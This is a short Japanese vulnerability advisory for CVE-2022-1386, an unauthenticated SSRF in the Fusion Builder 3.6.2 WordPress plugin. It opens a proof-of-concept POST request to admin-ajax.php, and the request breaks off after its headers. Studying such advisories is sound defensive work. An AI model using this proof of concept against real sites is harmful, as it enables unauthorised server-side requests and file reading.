CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - 認証なしSSRF 説明 Fusion Builder は、ユーザーがドラッグ＆ドロップインターフェースを使用してページを作成・編集できるWordPressプラグインです。このプラグインには、攻撃者がサーバー上の任意のファイルを読み取ることを可能にする、認証なしのSSRF脆弱性があります。 概念実証 リクエスト: root@kitploit: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Windo...